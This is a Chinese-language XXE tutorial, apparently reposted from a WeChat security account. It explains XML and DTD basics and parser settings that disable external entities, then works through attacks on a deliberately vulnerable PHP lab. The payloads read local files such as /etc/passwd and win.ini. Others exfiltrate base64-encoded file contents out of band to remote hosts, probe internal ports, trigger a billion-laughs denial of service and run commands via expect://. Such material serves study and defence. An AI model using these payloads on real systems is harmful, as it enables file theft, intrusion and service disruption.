XXE漏洞
介绍
XXE漏洞(XML External Entity)是一种安全漏洞,出现在使用XML解析器的应用程序中。当应用程序使用XML解析器解析XML文档时,如果未正确配置解析器,攻击者可以通过在XML文档中插入恶意实体来执行攻击。这些实体可以是外部的,允许攻击者读取本地文件、发起远程HTTP请求等操作。
XXE漏洞可能导致敏感数据泄露、服务器端请求伪造(SSRF)、拒绝服务(DoS)等安全问题。攻击者可以利用XXE漏洞来读取服务器上的任意文件,包括配置文件、密码文件等敏感信息,或者利用外部实体发起攻击者控制的HTTP请求。
原理
1.XML文档解析过程:当应用程序解析XML文档时,它会将XML文档的内容分解为各种元素和属性,并将其转换为应用程序可以处理的数据结构。XML解析器在处理过程中遇到实体引用时,会尝试解析该实体。2.实体引用:XML文档中的实体引用是一种特殊的语法,用于在XML文档中引用外部资源或实体。一般情况下,实体引用被用来引用XML文档中的内部实体,但XXE漏洞的关键在于可以引用外部实体。3.外部实体:外部实体是XML文档中的一个实体,它的内容位于XML文档之外,可以是本地文件系统上的文件,也可以是通过网络可访问的资源。攻击者利用XXE漏洞的关键就是通过引用恶意构造的外部实体来执行攻击。4.利用漏洞:攻击者通过在XML文档中插入恶意的实体引用,可以引用包含敏感信息的本地文件,或者通过HTTP请求引用攻击者控制的远程资源。当应用程序解析XML文档时,如果未正确防范XXE漏洞,解析器会尝试解析这些外部实体,导致攻击者能够读取敏感信息、发起攻击等。
防护
为了预防XXE漏洞,应用程序开发者需要采取一些措施,包括:
1.禁用或限制解析器的外部实体支持,以防止攻击者利用外部实体来执行攻击。2.使用安全的XML解析库,这些库可能已经实现了对XXE漏洞的防护措施。3.对用户输入进行严格的验证和过滤,以防止恶意输入进入XML文档。4.限制应用程序对文件系统和网络资源的访问权限,以减少攻击者利用XXE漏洞造成的风险。
从代码上看,可以利用相关方法禁用外部实体:
php:
libxml_disable_entity_loader(true);
java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
XML
XML(可扩展标记语言)是一种用于存储和传输数据的标记语言。它由一系列标签组成,这些标签用于标识数据的结构和含义。XML 的设计目标是提供一种通用的方法来描述和交换结构化的信息,它被广泛应用于各种领域,包括 Web 开发、数据交换、配置文件等。
XML 文件由标签、元素、属性和文本组成。标签用于定义元素的开始和结束,元素是 XML 数据的基本单元,可以包含其他元素或文本。属性是元素的附加信息,用于提供关于元素的额外描述或设置。文本是元素内的数据内容。
注意:
•所有 XML 元素都须有关闭标签。•XML 标签对大小写敏感。•XML 必须正确地嵌套。•XML 文档必须有根元素。•XML 的属性值须加引号。
DTD
DTD(document type definition)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
定义方式
DTD 可被成行地声明于 XML 文档中(内部定义),也可作为一个外部引用。
内部定义
<?xml version="1.0"?>
<!DOCTYPE bookstore [
<!ELEMENT bookstore (book+)>
<!ELEMENT book (title, author, year, price)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT year (#PCDATA)>
<!ELEMENT price (#PCDATA)>
]>
<bookstore>
<book>
<title>Harry Potter</title>
<author>J.K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book>
<title>Lord of the Rings</title>
<author>J.R.R. Tolkien</author>
<year>1954</year>
<price>25.00</price>
</book>
</bookstore>
DTD 直接嵌入在 XML 文档中,用 <!DOCTYPE>
声明定义了书店的结构。书店包含多个书(book),每本书有标题、作者、出版年份和价格等属性。
外部引用
有如下bookstore.dtd文件:
<!ELEMENT bookstore (book+)>
<!ELEMENT book (title, author, year, price)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT year (#PCDATA)>
<!ELEMENT price (#PCDATA)>
XML 文档可以通过 DOCTYPE
声明引用这个外部的 DTD 文件:
<?xml version="1.0"?>
<!DOCTYPE bookstore SYSTEM "bookstore.dtd">
<bookstore>
<book>
<title>Harry Potter</title>
<author>J.K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book>
<title>Lord of the Rings</title>
<author>J.R.R. Tolkien</author>
<year>1954</year>
<price>25.00</price>
</book>
</bookstore>
其中,外部引用主要有如下两种形式:
1.Public Identifier(公共标识符):使用公共标识符,例如一个 URL,来标识 DTD 的位置。这种方式允许文档引用一个在网络上公开可用的 DTD。例如:
<!DOCTYPE 根元素名 PUBLIC "公共标识符" "系统标识符">
2.System Identifier(系统标识符):使用一个系统路径或者 URL 来指定 DTD 的位置。这种方式将 DTD 存储在本地文件系统或者网络上的特定位置。例如:
<!DOCTYPE 根元素名 SYSTEM "系统标识符">
定义内容
在dtd中不仅能定义元素,也能定义实体。
定义元素
<?xml version="1.0"?>
<!DOCTYPE bookstore [
<!ELEMENT bookstore (book+)>
<!ELEMENT book (title, author, year, price)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT year (#PCDATA)>
<!ELEMENT price (#PCDATA)>
]>
<bookstore>
<book>
<title>Harry Potter</title>
<author>J.K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book>
<title>Lord of the Rings</title>
<author>J.R.R. Tolkien</author>
<year>1954</year>
<price>25.00</price>
</book>
</bookstore>
DTD 声明了一个名为 bookstore
的元素,它包含了至少一个 book
元素,其中每个 book
元素必须包含 title
、author
、year
和 price
四个子元素。
定义实体
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY authorName "J.K. Rowling">
<!ENTITY author SYSTEM "author.txt">
]>
<test>
<author>&authorName;</author>
<book>
<title>Harry Potter</title>
<author>&author;</author>
<year>2005</year>
<price>29.99</price>
</book>
</test>
这里DTD 声明了两个实体:authorName
和 author
。
authorName
实体是一个内部实体,其值为 "J.K. Rowling"。
author
实体是一个外部实体,其内容来自外部文件 author.txt
。
XML 文档中的 <author>
元素引用了这两个实体,&authorName;
引用了内部实体,而 &author;
引用了外部实体。
实体类型
除了上面提到的不同的定义方式和定义的内容,实体也有如下3种类型。
通用实体
通用实体用于在XML文档中引用任意的文本片段,类似于变量。
通用实体通过<!ENTITY>
声明,通过&实体名;
来引用通用实体。
<!DOCTYPE 根元素名 [
<!ENTITY 实体名 "实体内容">
]>
<根元素名>
&实体名;
</根元素名>
参数实体
参数实体主要用于在DTD中模块化和重用实体定义。
参数实体通过<!ENTITY %>
声明,在DTD中引用参数实体时,同样使用%
符号。
<!ENTITY % 参数实体名 "参数实体内容">
%参数实体名;
文本实体
文本实体与通用实体类似,用于表示在XML文档中引用的文本片段。
文本实体通过<!ENTITY>
声明,通过&实体名;
来引用文本实体。
<!DOCTYPE 根元素名 [
<!ENTITY 实体名 "实体内容">
]>
<根元素名>
&实体名;
</根元素名>
协议
不同语言支持的协议也不同:
libxml2 | PHP | Java | .NET |
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
compress.zlib | file | ftp | |
compress.bzip2 | jar | ||
data | netdoc | ||
glob | mailto | ||
phar | gopher |
常用攻击方式
通用实体
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
参数实体+dtd
dtd:
<!ENTITY b SYSTEM "file:///etc/passwd">
xml:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://ip/evil.dtd">
%d;
]>
<c>&b;</c>
通用实体+dtd
dtd:
<!ENTITY b SYSTEM "file:///etc/passwd">
xml:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://ip/evil.dtd">
<c>&b;</c>
这里直接在DOCTYPE声明中指定了一个外部DTD文件的URL,而没有定义额外的实体。XML解析器在解析DOCTYPE声明时就会直接加载外部DTD文件。
漏洞利用
借助XXE-LAB进行尝试,代码如下:
<?php
/**
* autor: c0ny1
* date:2018-2-7
*/
$USERNAME ='admin';//账号
$PASSWORD ='admin';//密码
$result =null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom =newDOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
其中libxml_disable_entity_loader(false);
没有禁止外部实体,存在xxe漏洞。
读取数据
有回显
正常请求如下:
注意content-type为application/xml,并且在response中会把username(admin)进行回显,直接定义一个dtd,并且在username标签内引用:
payload如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY ry4n SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&ry4n;</username><password>admin</password></user>
但是如果有特殊字符,就会报错:
可以通过CDATA解决。
特殊字符
CDATA
CDATA(Character Data)可以用于包含不会被解析器处理的文本。可以将读取的文件内容封装在CDATA中,防止特殊字符被XML解析器误解。
先给出payload。
外部dtd如下:
<!ENTITY % file SYSTEM "file:///d:/test.txt">
<!ENTITY % eval "<!ENTITY exfil '<![CDATA[%file;]]>'>">
%eval;
payload如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test SYSTEM "file:///path/to/xxe.dtd">
<user><username>&exfil;</username><password>admin</password></user>
报错:实体'&;'被禁止。
尝试更换payload:
外部dtd:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://23.94.98.161/xxe.dtd">
%dtd;]>
<user><username>&all;</username><password>admin</password></user>
成功读取:
第二种就是前面提到的参数实体+dtd的方式。
在第一种方法中,% eval;
在内部子集中定义并引用一个参数实体 %file;
,但是很多XML解析器不允许在内部子集中引用参数实体,导致报错 PEReferences forbidden in internal subset
。
而在第二种方法中,首先定义了几个参数实体 %start;
、%goodies;
和 %end;
。这些实体分别包含了CDATA的起始部分、从文件加载的内容,以及CDATA的结束部分。最后定义了一个外部DTD实体 %dtd
,指向了远程的DTD文件 http://ip/xxe.dtd
。而外部DTD文件 xxe.dtd
定义了一个 all
实体,它组合了内部子集中的 start
、goodies
和 end
三个实体。当 %dtd;
被加载时,外部DTD文件的内容会被引入,使得 <!ENTITY all "%start;%goodies;%end;">
被解析并生效。
解析顺序如下:
1.解析内部子集:•<!ENTITY % start "<![CDATA[">
•<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
•<!ENTITY % end "]]>">
•<!ENTITY % dtd SYSTEM "http://23.94.98.161/xxe.dtd">
2.加载外部DTD文件:•解析器加载 http://23.94.98.161/xxe.dtd
,该文件定义了 <!ENTITY all "%start;%goodies;%end;">
。3.解析主XML内容:•<user><username>&all;</username><password>admin</password></user>
•&all;
被替换为 %start;%goodies;%end;
。•%start;
被替换为 <![CDATA[
。•%goodies;
被替换为文件 d:/test.txt
的内容。•%end;
被替换为 ]]>
。•最终替换为 <![CDATA[ ... ]]>
然后解析内部的参数实体,从而正确地包含文件内容。
BASE64
xml内容如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY a SYSTEM "php://filter/convert.base64-encode/resource=d:/test.txt">]>
<user><username>&a;</username><password>admin</password></user>
利用php伪协议即可。
解码结果为:
无回显
无回显的情况,可以将数据发送到vps上查看。
dtd如下:
<!ENTITY % test
"<!ENTITY % send SYSTEM 'http://192.168.122.111:9999/?%file;'>">
%test;
payload如下:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.122.111/1.dtd">
%dtd;
%send;
]>
将结果解码即可:
dtd中定义了一个参数实体并对其进行引用,因为实体的值中不能有特殊字符,所以对其进行编码(%).在xml中,%dtd去访问外部dtd,dtd中引用%test,而test中定义了send,最终访问了vps,参数值即为file的内容,也就是win.ini的base64编码,通过web日志进行解码即可读取文件。
内网探测
如果访问未开放端口:
如果端口开放,结果如下:
能够从response和响应时间判断端口开放情况。
DOS
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
命令执行
如果开启了expect扩展,即可直接执行命令:
<!ENTITY xxe SYSTEM "expect://whoami" >]>
<root>
<name>&xxe;</name>
</root>
原文始发于微信公众号(Crush Sec):All-In-One—XXE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论